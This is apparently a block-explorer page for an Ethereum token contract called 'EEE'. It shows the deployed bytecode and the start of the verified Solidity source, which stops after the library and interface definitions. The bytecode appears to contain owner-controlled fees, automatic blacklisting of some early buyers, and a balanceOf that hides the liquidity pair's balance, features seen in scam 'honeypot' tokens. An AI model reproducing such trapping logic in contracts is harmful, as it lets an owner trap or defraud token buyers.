Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0xcC115Fb85DC07b7687964eCEaA2996F2f36d0614
Balance 0 ETH
Nonce 1
Code Size 14294 bytes
Indexed Transactions 0 (1 on-chain, <1% indexed)
External Etherscan · Sourcify

Contract Bytecode

14294 bytes
Copy Bytecode
0x608060405260043610610143575f3560e01c806370a08231116100b557806395d89b411161006e57806395d89b41146103fa578063a9059cbb14610424578063bc33718214610460578063bf474bed14610488578063c9567bf9146104b2578063dd62ed3e146104c85761014a565b806370a0823114610314578063715018a614610350578063751039fc146103665780637d1db4a51461037c5780638da5cb5b146103a65780638f9a55c0146103d05761014a565b806318160ddd1161010757806318160ddd1461023057806323b872dd1461025a578063313ce567146102965780634fab9e4c146102c057806351bc3c85146102d65780635d0044ca146102ec5761014a565b806306fdde031461014e578063095ea7b3146101785780630b7640b8146101b45780630b78f9c0146101de5780630faee56f146102065761014a565b3661014a57005b5f5ffd5b348015610159575f5ffd5b50610162610504565b60405161016f91906128e2565b60405180910390f35b348015610183575f5ffd5b5061019e60048036038101906101999190612993565b610541565b6040516101ab91906129eb565b60405180910390f35b3480156101bf575f5ffd5b506101c861055e565b6040516101d59190612a13565b60405180910390f35b3480156101e9575f5ffd5b5061020460048036038101906101ff9190612a2c565b61057d565b005b348015610211575f5ffd5b5061021a610797565b6040516102279190612a13565b60405180910390f35b34801561023b575f5ffd5b5061024461079d565b6040516102519190612a13565b60405180910390f35b348015610265575f5ffd5b50610280600480360381019061027b9190612a6a565b6107c0565b60405161028d91906129eb565b60405180910390f35b3480156102a1575f5ffd5b506102aa610894565b6040516102b79190612ad5565b60405180910390f35b3480156102cb575f5ffd5b506102d461089c565b005b3480156102e1575f5ffd5b506102ea610de0565b005b3480156102f7575f5ffd5b50610312600480360381019061030d9190612aee565b610e8f565b005b34801561031f575f5ffd5b5061033a60048036038101906103359190612b19565b610f2e565b6040516103479190612a13565b60405180910390f35b34801561035b575f5ffd5b50610364610f8b565b005b348015610371575f5ffd5b5061037a6110db565b005b348015610387575f5ffd5b5061039061120b565b60405161039d9190612a13565b60405180910390f35b3480156103b1575f5ffd5b506103ba611211565b6040516103c79190612b53565b60405180910390f35b3480156103db575f5ffd5b506103e4611238565b6040516103f19190612a13565b60405180910390f35b348015610405575f5ffd5b5061040e61123e565b60405161041b91906128e2565b60405180910390f35b34801561042f575f5ffd5b5061044a60048036038101906104459190612993565b61127b565b60405161045791906129eb565b60405180910390f35b34801561046b575f5ffd5b5061048660048036038101906104819190612aee565b611298565b005b348015610493575f5ffd5b5061049c611337565b6040516104a99190612a13565b60405180910390f35b3480156104bd575f5ffd5b506104c6611356565b005b3480156104d3575f5ffd5b506104ee60048036038101906104e99190612b6c565b6114c7565b6040516104fb9190612a13565b60405180910390f35b60606040518060400160405280600381526020017f4545450000000000000000000000000000000000000000000000000000000000815250905090565b5f61055461054d611549565b8484611550565b6001905092915050565b6009600a61056c9190612d06565b62061a8061057a9190612d50565b81565b610585611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060990612ddb565b60405180910390fd5b601e82111580156106245750601e8111155b801561063b5750600f5f9054906101000a900460ff165b61067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190612e43565b60405180910390fd5b81600881905550806009819055505f6005600954116106d4576106cf60646009600a6106a69190612d06565b633b9aca006106b59190612d50565b60016106c19190612d50565b6116de90919063ffffffff16565b610717565b6107116103e86009600a6106e89190612d06565b633b9aca006106f79190612d50565b60056107039190612d50565b6116de90919063ffffffff16565b600c8190555b90507f29ddd482d71f6b4ad9a6b3978c21b2aa56a029d1de02646578471e24a465cb4583836107796103e86009600a6107509190612d06565b633b9aca0061075f9190612d50565b600561076b9190612d50565b6116de90919063ffffffff16565b841460405161078a93929190612e61565b60405180910390a1505050565b600c5481565b5f6009600a6107ac9190612d06565b633b9aca006107bb9190612d50565b905090565b5f6107cc848484611727565b610889846107d8611549565b610884856040518060600160405280602881526020016137796028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61083b611549565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121bc9092919063ffffffff16565b611550565b600190509392505050565b5f6009905090565b6108a4611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092890612ddb565b60405180910390fd5b600f5f9054906101000a900460ff1615610980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097790612ee0565b60405180910390fd5b5f6109dd6109c660646109b85f6009600a61099b9190612d06565b633b9aca006109aa9190612d50565b61221e90919063ffffffff16565b6116de90919063ffffffff16565b6109cf30610f2e565b61229590919063ffffffff16565b9050737a250d5630b4cf539739df2c5dacb4c659f2488d60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a7b3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610a679190612d06565b633b9aca00610a769190612d50565b611550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b099190612f12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b8f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb39190612f12565b6040518363ffffffff1660e01b8152600401610bd0929190612f3d565b6020604051808303815f875af1158015610bec573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c109190612f12565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f5f610c99611549565b426040518863ffffffff1660e01b8152600401610cbb96959493929190612fa6565b60606040518083038185885af1158015610cd7573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cfc9190613019565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d9c929190613069565b6020604051808303815f875af1158015610db8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ddc91906130ba565b5050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e20611549565b73ffffffffffffffffffffffffffffffffffffffff1614610e3f575f5ffd5b5f610e4930610f2e565b90505f81118015610e665750600f60029054906101000a900460ff165b15610e7557610e74816122de565b5b5f4790505f811115610e8b57610e8a81612549565b5b5050565b610e97611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b90612ddb565b60405180910390fd5b80600e8190555050565b5f610f38826125b1565b15610f45575f9050610f86565b60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b919050565b610f93611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101790612ddb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6110e3611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612ddb565b60405180910390fd5b6009600a61117e9190612d06565b633b9aca0061118d9190612d50565b600d819055506009600a6111a19190612d06565b633b9aca006111b09190612d50565b600e819055507f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96009600a6111e59190612d06565b633b9aca006111f49190612d50565b6040516112019190612a13565b60405180910390a1565b600d5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5481565b60606040518060400160405280600381526020017f4545450000000000000000000000000000000000000000000000000000000000815250905090565b5f61128e611287611549565b8484611727565b6001905092915050565b6112a0611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612ddb565b60405180910390fd5b80600d8190555050565b6009600a6113459190612d06565b623d09006113539190612d50565b81565b61135e611549565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e290612ddb565b60405180910390fd5b600f5f9054906101000a900460ff161561143a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114319061312f565b60405180910390fd5b6001600f60026101000a81548160ff0219169083151502179055506001600f5f6101000a81548160ff0219169083151502179055507f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c600f5f9054906101000a900460ff16600f60029054906101000a900460ff166040516114bd92919061314d565b60405180910390a1565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115b857505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906131be565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116d19190612a13565b60405180910390a3505050565b5f61171f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612745565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178f57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6117ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c590613226565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184f9061328e565b60405180910390fd5b5f5f9050611864611211565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118d257506118a2611211565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f0c57600f5f9054906101000a900460ff166119c55760035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611985575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6119c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bb906132f6565b60405180910390fd5b5b5f600a541115611a6d5760035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611b16575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b69575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c2357600d54821115611bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baa9061335e565b60405180910390fd5b600e5482611bc085610f2e565b611bca919061337c565b1115611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c02906133f9565b60405180910390fd5b600a5f815480929190611c1d90613417565b91905055505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cab57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611cef57611ce86064611cda5f600a5411611cc7575f611ccb565b6009545b8561221e90919063ffffffff16565b6116de90919063ffffffff16565b9050611db8565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d7757503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611db757611db46064611da65f600a5411611d93575f611d97565b6008545b8561221e90919063ffffffff16565b6116de90919063ffffffff16565b90505b5b80600b5f828254611dc9919061337c565b925050819055505f611dda30610f2e565b9050600f60019054906101000a900460ff16158015611e45575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611e5d5750600f60029054906101000a900460ff165b8015611e8357506009600a611e729190612d06565b623d0900611e809190612d50565b81115b8015611e9057505f600a54115b8015611eb857506009600a611ea59190612d06565b62061a80611eb39190612d50565b600b54115b15611f0a575f600c548211611ecd5781611ed1565b600c545b9050611eea818511611ee35784611ee5565b815b6122de565b5f4790505f811115611f0057611eff47612549565b5b5f600b8190555050505b505b5f81111561200b57611f648160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127a690919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120029190612a13565b60405180910390a35b61205b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461229590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120fe6120b2828461229590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127a690919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6121a1848661229590919063ffffffff16565b6040516121ae9190612a13565b60405180910390a350505050565b5f838311158290612203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fa91906128e2565b60405180910390fd5b505f8385612211919061345e565b9050809150509392505050565b5f5f830361222e575f905061228f565b5f828461223b9190612d50565b905082848261224a91906134be565b1461228a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122819061355e565b60405180910390fd5b809150505b92915050565b5f6122d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121bc565b905092915050565b6001600f60016101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156123155761231461357c565b5b6040519080825280602002602001820160405280156123435781602001602082028036833780820191505090505b50905030815f8151811061235a576123596135a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123fe573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124229190612f12565b81600181518110612436576124356135a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061249c3060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016124fe95949392919061368d565b5f604051808303815f87803b158015612515575f5ffd5b505af1158015612527573d5f5f3e3d5ffd5b50505050505f600f60016101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156125ad573d5f5f3e3d5ffd5b5050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156126c657505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016126859190612b53565b602060405180830381865afa1580156126a0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126c491906136e5565b115b801561271f575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b8015612731575061272f32612803565b155b61273b575f61273e565b60015b9050919050565b5f5f8311829061278b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278291906128e2565b60405180910390fd5b505f838561279991906134be565b9050809150509392505050565b5f5f82846127b4919061337c565b9050838110156127f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f09061375a565b60405180910390fd5b8091505092915050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061286b575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6128b482612872565b6128be818561287c565b93506128ce81856020860161288c565b6128d78161289a565b840191505092915050565b5f6020820190508181035f8301526128fa81846128aa565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61292f82612906565b9050919050565b61293f81612925565b8114612949575f5ffd5b50565b5f8135905061295a81612936565b92915050565b5f819050919050565b61297281612960565b811461297c575f5ffd5b50565b5f8135905061298d81612969565b92915050565b5f5f604083850312156129a9576129a8612902565b5b5f6129b68582860161294c565b92505060206129c78582860161297f565b9150509250929050565b5f8115159050919050565b6129e5816129d1565b82525050565b5f6020820190506129fe5f8301846129dc565b92915050565b612a0d81612960565b82525050565b5f602082019050612a265f830184612a04565b92915050565b5f5f60408385031215612a4257612a41612902565b5b5f612a4f8582860161297f565b9250506020612a608582860161297f565b9150509250929050565b5f5f5f60608486031215612a8157612a80612902565b5b5f612a8e8682870161294c565b9350506020612a9f8682870161294c565b9250506040612ab08682870161297f565b9150509250925092565b5f60ff82169050919050565b612acf81612aba565b82525050565b5f602082019050612ae85f830184612ac6565b92915050565b5f60208284031215612b0357612b02612902565b5b5f612b108482850161297f565b91505092915050565b5f60208284031215612b2e57612b2d612902565b5b5f612b3b8482850161294c565b91505092915050565b612b4d81612925565b82525050565b5f602082019050612b665f830184612b44565b92915050565b5f5f60408385031215612b8257612b81612902565b5b5f612b8f8582860161294c565b9250506020612ba08582860161294c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115612c2c57808604811115612c0857612c07612baa565b5b6001851615612c175780820291505b8081029050612c2585612bd7565b9450612bec565b94509492505050565b5f82612c445760019050612cff565b81612c51575f9050612cff565b8160018114612c675760028114612c7157612ca0565b6001915050612cff565b60ff841115612c8357612c82612baa565b5b8360020a915084821115612c9a57612c99612baa565b5b50612cff565b5060208310610133831016604e8410600b8410161715612cd55782820a905083811115612cd057612ccf612baa565b5b612cff565b612ce28484846001612be3565b92509050818404811115612cf957612cf8612baa565b5b81810290505b9392505050565b5f612d1082612960565b9150612d1b83612aba565b9250612d487fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c35565b905092915050565b5f612d5a82612960565b9150612d6583612960565b9250828202612d7381612960565b91508282048414831517612d8a57612d89612baa565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612dc560208361287c565b9150612dd082612d91565b602082019050919050565b5f6020820190508181035f830152612df281612db9565b9050919050565b7f457863656564732076616c7565000000000000000000000000000000000000005f82015250565b5f612e2d600d8361287c565b9150612e3882612df9565b602082019050919050565b5f6020820190508181035f830152612e5a81612e21565b9050919050565b5f606082019050612e745f830186612a04565b612e816020830185612a04565b612e8e60408301846129dc565b949350505050565b7f696e697420616c72656164792063616c6c6564000000000000000000000000005f82015250565b5f612eca60138361287c565b9150612ed582612e96565b602082019050919050565b5f6020820190508181035f830152612ef781612ebe565b9050919050565b5f81519050612f0c81612936565b92915050565b5f60208284031215612f2757612f26612902565b5b5f612f3484828501612efe565b91505092915050565b5f604082019050612f505f830185612b44565b612f5d6020830184612b44565b9392505050565b5f819050919050565b5f819050919050565b5f612f90612f8b612f8684612f64565b612f6d565b612960565b9050919050565b612fa081612f76565b82525050565b5f60c082019050612fb95f830189612b44565b612fc66020830188612a04565b612fd36040830187612f97565b612fe06060830186612f97565b612fed6080830185612b44565b612ffa60a0830184612a04565b979650505050505050565b5f8151905061301381612969565b92915050565b5f5f5f606084860312156130305761302f612902565b5b5f61303d86828701613005565b935050602061304e86828701613005565b925050604061305f86828701613005565b9150509250925092565b5f60408201905061307c5f830185612b44565b6130896020830184612a04565b9392505050565b613099816129d1565b81146130a3575f5ffd5b50565b5f815190506130b481613090565b92915050565b5f602082840312156130cf576130ce612902565b5b5f6130dc848285016130a6565b91505092915050565b7f74726164696e6720616c7265616479206f70656e0000000000000000000000005f82015250565b5f61311960148361287c565b9150613124826130e5565b602082019050919050565b5f6020820190508181035f8301526131468161310d565b9050919050565b5f6040820190506131605f8301856129dc565b61316d60208301846129dc565b9392505050565b7f45524332303a20617070726f766520746865207a65726f2061646472657373005f82015250565b5f6131a8601f8361287c565b91506131b382613174565b602082019050919050565b5f6020820190508181035f8301526131d58161319c565b9050919050565b7f45524332303a207472616e7366657220746865207a65726f20616464726573735f82015250565b5f61321060208361287c565b915061321b826131dc565b602082019050919050565b5f6020820190508181035f83015261323d81613204565b9050919050565b7f426c61636b6c69737465640000000000000000000000000000000000000000005f82015250565b5f613278600b8361287c565b915061328382613244565b602082019050919050565b5f6020820190508181035f8301526132a58161326c565b9050919050565b7f74726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f6132e060148361287c565b91506132eb826132ac565b602082019050919050565b5f6020820190508181035f83015261330d816132d4565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f61334860198361287c565b915061335382613314565b602082019050919050565b5f6020820190508181035f8301526133758161333c565b9050919050565b5f61338682612960565b915061339183612960565b92508282019050808211156133a9576133a8612baa565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6133e3601a8361287c565b91506133ee826133af565b602082019050919050565b5f6020820190508181035f830152613410816133d7565b9050919050565b5f61342182612960565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361345357613452612baa565b5b600182019050919050565b5f61346882612960565b915061347383612960565b925082820390508181111561348b5761348a612baa565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6134c882612960565b91506134d383612960565b9250826134e3576134e2613491565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61354860218361287c565b9150613553826134ee565b604082019050919050565b5f6020820190508181035f8301526135758161353c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61360881612925565b82525050565b5f61361983836135ff565b60208301905092915050565b5f602082019050919050565b5f61363b826135d6565b61364581856135e0565b9350613650836135f0565b805f5b83811015613680578151613667888261360e565b975061367283613625565b925050600181019050613653565b5085935050505092915050565b5f60a0820190506136a05f830188612a04565b6136ad6020830187612f97565b81810360408301526136bf8186613631565b90506136ce6060830185612b44565b6136db6080830184612a04565b9695505050505050565b5f602082840312156136fa576136f9612902565b5b5f61370784828501613005565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613744601b8361287c565b915061374f82613710565b602082019050919050565b5f6020820190508181035f83015261377181613738565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220402dc5b5be5e8b80d7f312a0e72d192851adb30845329b00985724f080d88d7364736f6c634300081f0033

Verified Source Code Full Match

Compiler: v0.8.31+commit.fd3a2265 EVM: osaka Optimization: No
r_3_6.sol 475 lines
// SPDX-License-Identifier: MIT
/**

**/

pragma solidity ^0.8.29;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

